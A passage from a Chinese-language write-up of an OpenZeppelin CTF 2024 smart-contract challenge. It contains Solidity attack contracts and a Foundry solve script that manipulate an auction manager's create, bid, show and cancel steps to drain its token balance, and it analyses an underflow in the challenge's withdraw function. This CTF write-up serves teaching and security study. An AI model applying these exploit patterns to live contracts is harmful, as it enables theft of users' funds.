// commit and encrypted Math.Point memory commonPoint = Math.mul(0xbabe, point1); require(commonPoint.x != 1 || commonPoint.y != 1, "common point is not correct"); bytes32 message = auctionManager.genMessage(10000 * 1e6, bytes16(0x0)); Math.Point memory tmpPoint; bytes32 encrypted; Math.Point memory point = Math.publicKey(0xbabe); (tmpPoint, encrypted) = Math.encrypt(point, 0xabcd, message); bytes32 decrypted = Math.decrypt(commonPoint, encrypted); bytes32 commit = keccak256(abi.encode(decrypted)); uint128 amountQuote = 10000 * 1e6;
quoteToken.approve(address(auctionManager), type(uint128).max); auctionManager.addBid(1, amountQuote, commit, tmpPoint, encrypted, proofs); return decrypted; }
// cancel bid function bidCancel() external { auctionManager.bidCancel(1, 0); }}
contract Attack {    using FixedPointMathLib for uint128;    using SafeTransferLib for ERC20;
address public challengeAddr = xxx; Challenge public challenge = Challenge(challengeAddr); AuctionManager public auctionManager = challenge.auction(); ERC20 public baseToken = challenge.quoteToken(); ERC20 public quoteToken = challenge.quoteToken(); Bidder bidder;
constructor(Bidder _bidder) { baseToken.approve(address(auctionManager), type(uint128).max); bidder = _bidder; }
// create an auction function create() external { bytes32[] memory leafsTmp = new bytes32[](2); leafsTmp[0] = keccak256(abi.encodePacked(address(bidder))); leafsTmp[1] = keccak256(abi.encodePacked(address(bidder))); bytes32 merkle = keccak256(abi.encodePacked(address(bidder))); Math.Point memory point = Math.publicKey(0xbabe); AuctionManager.AuctionParameters memory auctionParams = AuctionManager.AuctionParameters({ tokenBase: address(baseToken), tokenQuote: address(quoteToken), resQuoteBase: 0, totalBase: 10000 * 1e6, minBid: 60 ether / type(uint128).max, merkle: merkle, publicKey: point });
AuctionManager.Time memory time = AuctionManager.Time({ start: uint32(block.timestamp), end: uint32(block.timestamp + 10), startVesting: uint32(block.timestamp + 10), endVesting: uint32(block.timestamp + 20), cliff: 1e17 });
baseToken.approve(address(auctionManager), type(uint128).max); auctionManager.create(auctionParams, time);
}
// finalize an auction function show(bytes32 decrypted) external { uint256[] memory indices = new uint256[](1); indices[0] = 0; uint128 amountBase = uint128(uint256(decrypted >> 128)); uint256 quotePerBase = amountBase.mulDivDown(type(uint128).max, amountBase); uint128 quote = type(uint128).max; uint128 base = type(uint128).max; bytes memory data = abi.encode(indices, base, quote); auctionManager.show(1, 0xbabe, data); }
// cancel auction function cancel() external { auctionManager.auctionCancel(1); }}

解题脚本如下:

contract Solve is Script {    using FixedPointMathLib for uint128;    using SafeTransferLib for ERC20;
function run() public { vm.startBroadcast(); address challengeAddr = xxx; Challenge challenge = Challenge(challengeAddr); AuctionManager auctionManager = challenge.auction(); ERC20 baseToken = challenge.quoteToken(); ERC20 quoteToken = challenge.quoteToken();
// 第一笔交易,拍卖者发起拍卖,竞拍者参与竞标 Bidder bidder = new Bidder(); Attack attack = new Attack(bidder); quoteToken.transfer(address(attack), 10000 * 1e6); quoteToken.transfer(address(bidder), 10000 * 1e6);
console.log("address(attack)", address(attack)); console.log("address(bidder)", address(bidder));
attack.create(); bytes32 decrypted = bidder.bid(); console.log("decrypted"); console.logBytes32(decrypted);
// 第二笔交易,给任意一个地址转账,推进时间戳,因为只有到了设定的拍卖结束的时间,才能finalize拍卖 baseToken.transfer(vm.addr(0xcaca), 1 ether); // 第三笔交易,依次完成finalize拍卖、删除拍卖、删除竞标的操作 address attackAddr = xxx; address bidderAddr = xxx; bytes32 decrypted = 0x000000000000000000000002540be40000000000000000000000000000000000;
Attack(attackAddr).show(decrypted); Attack(attackAddr).cancel(); Bidder(bidderAddr).bidCancel(); uint256 auctBalance = baseToken.balanceOf(address(auctionManager)); console.log("auctBalance", auctBalance);
vm.stopBroadcast();
}
}


在题目中我们发现,就算竞拍成功了,竞拍者也没法取回未使用的 quoteToken,因为在给竞拍者转剩余的 quoteToken 时,转的数量是 bid.amountQuote - quoteBought,而 bid.amountQuote 在上一步被置为了 0,那这个地方除非 quoteBought 是 0,否则就溢出了,交易执行失败。而 quoteBought 通常来说不是 0。那么这个地方是出题者有意而为之,还是无心之失呢?

function withdraw(uint256 id, uint256 index) external checkState(States.Final, auctions[id]) {    Auction storage auction = auctions[id];    BidEncrypted storage bid = auction.bids[index];    if (msg.sender != bid.sender) revert();
uint128 amountBase = bid.baseAmountFilled;
if (0 == amountBase) revert(); uint128 baseAvailable = tokensAvailableForWithdrawal(id, amountBase);
baseAvailable = baseAvailable - bid.baseExtracted; bid.baseExtracted += baseAvailable;
if (bid.amountQuote != 0) { uint256 quoteBought = amountBase.mulDivDown(auction.data.quoteLowest, auction.data.baseLowest); bid.amountQuote = 0;
ERC20(auction.parameters.tokenQuote).safeTransfer(msg.sender, bid.amountQuote - quoteBought); }
ERC20(auction.parameters.tokenBase).safeTransfer(msg.sender, baseAvailable);}



OpenZeppelin CTF 2024 Writeup
END


关于我们 About Us

ZAN 是蚂蚁数科旗下新科技品牌。依托 AntChain Open Labs 的 TrustBase 开源开放技术体系,拥有 Web3 领域独特的优势和创新能力,为 Web3 社区提供可靠、高性价比的区块链应用开发技术产品和服务。


凭借 AntChain Open Labs 的技术支持,ZAN 为企业和开发者提供了全面的技术产品和服务,其中包括智能合约审计(ZAN Smart Contract Review)、身份验证eKYC(ZAN Identity)、交易风控技术(ZAN Know Your Transaction)以及节点服务(ZAN Node Service)等。


通过 ZAN 的一站式解决方案,用户可以享受到全方位的 Web3 技术支持。

ZAN Website:https://zan.top/home/partner/wxdyh


联系我们 Contact Us

OpenZeppelin CTF 2024 Writeup


OpenZeppelin CTF 2024 Writeup


  Discord        Telegram

现在加入 ZAN 官方社区

一起深入探讨 Web3 前沿动态


OpenZeppelin CTF 2024 Writeup
“阅读原文” 获取更多联系方式 !

原文始发于微信公众号(ZAN Team):OpenZeppelin CTF 2024 Writeup

版权声明:admin 发表于 2024年3月20日 上午11:08。
转载请注明:OpenZeppelin CTF 2024 Writeup | CTF导航

相关文章